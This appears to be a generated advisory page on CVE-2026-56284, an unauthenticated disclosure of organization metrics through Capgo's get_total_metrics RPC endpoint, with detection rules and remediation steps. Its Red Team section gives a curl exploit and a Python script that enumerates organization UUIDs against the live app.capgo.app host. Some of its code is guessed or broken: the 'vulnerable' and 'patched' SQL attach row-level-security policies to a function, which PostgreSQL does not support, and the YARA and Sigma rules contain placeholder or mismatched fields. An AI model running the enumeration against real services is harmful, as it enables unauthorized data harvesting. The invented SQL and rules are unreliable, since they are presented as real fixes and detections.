CVE-2026-56284
Executive Summary
CVE-2026-56284 is an information disclosure vulnerability in Capgo (Cap-go/capgo) versions before 12.128.2. The vulnerability resides in a Supabase PostgREST RPC function named public.get_total_metrics(org_id). This function is incorrectly configured to be callable by the anon role using only the public sb_publishable_* key, which is intended for unauthenticated, low-privilege access. An unauthenticated attacker can exploit this by sending POST requests to the /rest/v1/rpc/get_total_metrics endpoint with valid organization UUIDs. Successful exploitation allows the attacker to probe for the existence of organizations and leak sensitive usage metrics, including Monthly Active Users (MAU), bandwidth consumption, and install counts. This information can be used for competitive intelligence, targeted attacks, or reconnaissance against Capgo-hosted applications.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
Capgo is a Go-based application. The vulnerability is not in a dependency but in the application's own Supabase configuration. However, the exposure of internal metrics could indirectly affect downstream users of Capgo services by revealing usage patterns and organizational structures.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
- Base Score: 5.3 (Medium)
- Attack Vector: Network (AV:N) – The vulnerability is exploitable remotely.
- Attack Complexity: Low (AC:L) – No special conditions are required; the attacker only needs to send a crafted POST request.
- Privileges Required: None (PR:N) – The attacker does not need any authentication.
- User Interaction: None (UI:N) – No user action is required.
- Scope: Unchanged (S:U) – The vulnerability does not affect other components.
- Confidentiality Impact: Low (C:L) – Only limited information (metrics and org existence) is disclosed.
- Integrity Impact: None (I:N) – No data is modified.
- Availability Impact: None (A:N) – No service disruption.
Threat Level: Medium. While the direct impact is limited to information disclosure, the leaked data (MAU, bandwidth, install counts) can be highly valuable for reconnaissance and competitive analysis, potentially leading to more targeted attacks.
Deep Dive & Mechanics
The vulnerability is rooted in the misconfiguration of Row-Level Security (RLS) policies within Supabase, which is built on PostgreSQL. Capgo uses Supabase's PostgREST API to expose database functions as RESTful endpoints. The function public.get_total_metrics(org_id) is defined as a PostgreSQL function and exposed via PostgREST.
Normal Operation:
- The function is intended to be called by authenticated users (e.g., organization admins) to retrieve usage metrics for their own organization.
- It should be protected by an RLS policy that checks the caller's JWT claims (e.g.,
auth.uid()) against the organization ID.
Vulnerable Configuration:
- In versions before 12.128.2, the RLS policy for
get_total_metricsis either missing or incorrectly grants execute permission to theanonrole. - The
anonrole is the default role for unauthenticated requests in Supabase. It is typically allowed to call only a few public functions (e.g., sign-up, login). - The
sb_publishable_*key is a public API key that is meant for client-side use and should only grant access to public data. - Because the function is callable by
anonwith only the public key, an attacker can invoke it without any authentication.
Exploitation Mechanics:
- The attacker identifies a Capgo instance (e.g.,
https://app.capgo.app). - The attacker obtains the public
sb_publishable_*key, which is often exposed in client-side JavaScript or mobile app code. - The attacker sends a POST request to
/rest/v1/rpc/get_total_metricswith a JSON body containing a valid organization UUID. - The server executes the function and returns the metrics (MAU, bandwidth, install counts) if the organization exists. If the organization does not exist, the function may return an empty result or an error, allowing the attacker to enumerate valid organization IDs.
Why It Works:
- The function does not perform any authorization check internally; it relies entirely on the RLS policy.
- The RLS policy is misconfigured to allow the
anonrole. - The public key is sufficient to authenticate the request at the API gateway level, but it does not enforce user-level permissions.
Vulnerable vs. Patched Code
Vulnerable Code (Pre-12.128.2):
The vulnerable configuration is in the Supabase RLS policy definition, not in the Go code itself. The policy likely looks like this (in SQL):
-- Vulnerable: Allows anon role to execute
CREATE POLICY "Allow anon to get_total_metrics" ON public.get_total_metrics
FOR EXECUTE
TO anon
USING (true);
Or the function might be defined with SECURITY DEFINER and no RLS check:
CREATE OR REPLACE FUNCTION public.get_total_metrics(org_id uuid)
RETURNS json
LANGUAGE plpgsql
SECURITY DEFINER
AS $$
BEGIN
-- No authorization check
RETURN (SELECT json_build_object('mau', mau, 'bandwidth', bandwidth, 'installs', installs)
FROM organization_metrics
WHERE organization_id = org_id);
END;
$$;
Patched Code (12.128.2+):
The patch adds proper RLS or modifies the function to check the caller's identity:
-- Patched: Only allow authenticated users
CREATE POLICY "Allow authenticated to get_total_metrics" ON public.get_total_metrics
FOR EXECUTE
TO authenticated
USING (auth.uid() IN (SELECT user_id FROM organization_members WHERE organization_id = org_id));
Or the function is modified to include an authorization check:
CREATE OR REPLACE FUNCTION public.get_total_metrics(org_id uuid)
RETURNS json
LANGUAGE plpgsql
SECURITY DEFINER
AS $$
BEGIN
-- Check if the caller is a member of the organization
IF NOT EXISTS (SELECT 1 FROM organization_members WHERE user_id = auth.uid() AND organization_id = org_id) THEN
RAISE EXCEPTION 'Not authorized';
END IF;
RETURN (SELECT json_build_object('mau', mau, 'bandwidth', bandwidth, 'installs', installs)
FROM organization_metrics
WHERE organization_id = org_id);
END;
$$;
Exploitation & Lab Setup
Red Team (Offensive)
Prerequisites:
- A target Capgo instance (e.g.,
https://app.capgo.app). - The public
sb_publishable_*key (often found in the browser's developer tools under Network tab or in the page source). - A list of potential organization UUIDs (can be guessed or obtained from other leaks).
Exploitation Steps:
Identify the Public Key:
- Open the target Capgo application in a browser.
- Use Developer Tools (F12) -> Network tab.
- Look for any request to
*.supabase.coand extract theapikeyheader value. This is thesb_publishable_*key.
Craft the Exploit Request:
- Use
curlor a scripting language to send a POST request.
curl -X POST 'https://app.capgo.app/rest/v1/rpc/get_total_metrics' \ -H 'apikey: sb_publishable_YOUR_KEY_HERE' \ -H 'Content-Type: application/json' \ -d '{"org_id": "550e8400-e29b-41d4-a716-446655440000"}'- Use
Analyze the Response:
- If the organization exists, the response will contain JSON with metrics:
{"mau": 1234, "bandwidth": 5678, "installs": 90} - If the organization does not exist, the response may be an empty array
[]or an error like{"code": "PGRST116", "message": "JSON object requested, multiple (or no) rows returned"}.
- If the organization exists, the response will contain JSON with metrics:
Enumerate Organizations:
- Use a script to iterate through a list of UUIDs (e.g., from a wordlist or generated patterns).
import requests import uuid url = "https://app.capgo.app/rest/v1/rpc/get_total_metrics" headers = { "apikey": "sb_publishable_YOUR_KEY_HERE", "Content-Type": "application/json" } # Example: iterate through a range of UUIDs for i in range(100): org_id = str(uuid.UUID(int=i)) response = requests.post(url, headers=headers, json={"org_id": org_id}) if response.status_code == 200 and "mau" in response.text: print(f"Found organization: {org_id} -> {response.text}")
Blue Team (Defensive)
Detection:
- Monitor for POST requests to
/rest/v1/rpc/get_total_metricsfrom IPs that are not associated with authenticated users. - Look for a high volume of requests with different
org_idvalues in a short period (enumeration attempt). - Alert on requests to this endpoint that do not include a valid JWT token in the
Authorizationheader.
Hunting:
- Search logs for
get_total_metricscalls where theapikeyis a public key (starts withsb_publishable_). - Correlate these requests with the absence of a valid
Authorizationheader.
Lab Setup:
- Deploy a vulnerable Capgo instance (version < 12.128.2) using Docker.
- Configure Supabase with the vulnerable RLS policy.
- Use a tool like
mitmproxyto capture the public key from a legitimate client. - Simulate the attack using the
curlcommand above.
Indicators of Compromise (IOCs)
Network IOCs:
- POST requests to
/rest/v1/rpc/get_total_metricswith a JSON body containingorg_id. - Requests using the
apikeyheader with a value starting withsb_publishable_. - Absence of an
Authorizationheader (JWT token) in such requests. - High frequency of requests to this endpoint from a single IP.
- POST requests to
Log IOCs:
- Supabase/PostgREST logs showing
get_total_metricsexecuted by theanonrole. - Database query logs showing
SELECTfromorganization_metricswithout a correspondingWHEREclause filtering byauth.uid().
- Supabase/PostgREST logs showing
File IOCs:
- No specific file-based IOCs, as this is a server-side misconfiguration.
Detection Engineering
YARA Rule
rule Detect_Capgo_Metrics_Leak_Request {
meta:
description = "Detects HTTP POST requests to Capgo's get_total_metrics endpoint with public API key"
author = "Valters IT"
date = "2026-01-01"
reference = "CVE-2026-56284"
hash = "d41d8cd98f00b204e9800998ecf8427e"
strings:
$endpoint = "/rest/v1/rpc/get_total_metrics"
$public_key_prefix = "sb_publishable_"
$org_id_field = "\"org_id\""
condition:
all of them
}
Sigma Rule
title: Capgo Unauthenticated Metrics Disclosure via get_total_metrics
id: cve-2026-56284
status: experimental
description: Detects unauthenticated POST requests to the Capgo get_total_metrics RPC endpoint, indicating exploitation of CVE-2026-56284.
author: Valters IT
date: 2026/01/01
references:
- https://nvd.nist.gov/vuln/detail/CVE-2026-56284
logsource:
category: webserver
product: apache
service: access_combined
detection:
selection:
cs-method: POST
cs-uri-stem: "/rest/v1/rpc/get_total_metrics"
cs-uri-query|contains: "org_id"
filter:
cs-headers|contains: "Authorization: Bearer"
condition: selection and not filter
falsepositives:
- Legitimate authenticated requests (should have Authorization header)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2026-56284 Capgo Unauthenticated Metrics Disclosure"; flow:to_server; http.method; content:"POST"; http.uri; content:"/rest/v1/rpc/get_total_metrics"; http.client_body; content:"\"org_id\""; http.header_names; content:"apikey"; pcre:"/^sb_publishable_/Ri"; classtype:attempted-recon; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Upgrade Capgo: Update to version 12.128.2 or later immediately.
- Verify RLS Policies: If immediate upgrade is not possible, manually review and correct the RLS policy for
public.get_total_metricsto restrict execution to theauthenticatedrole only. - Revoke Public Keys: If the public key has been exposed, generate a new one and update all clients.
Long-Term Mitigations:
- Principle of Least Privilege: Ensure all RPC functions have explicit RLS policies that check the caller's identity.
- Audit Supabase Configuration: Regularly audit all RLS policies and function permissions.
- Monitor for Anomalous Access: Implement logging and alerting for calls to sensitive RPC functions from the
anonrole. - Use API Gateways: Consider placing an API gateway (e.g., Kong, AWS API Gateway) in front of Supabase to enforce additional authentication and rate limiting.
Workaround (If Upgrade Not Possible):
- Temporarily disable the
get_total_metricsfunction by revoking execute permission from theanonrole via SQL:REVOKE EXECUTE ON FUNCTION public.get_total_metrics(uuid) FROM anon; - Note: This may break legitimate functionality for unauthenticated users, but it prevents the vulnerability.
Valters IT
DevSecOps & Cyber Threat Intelligence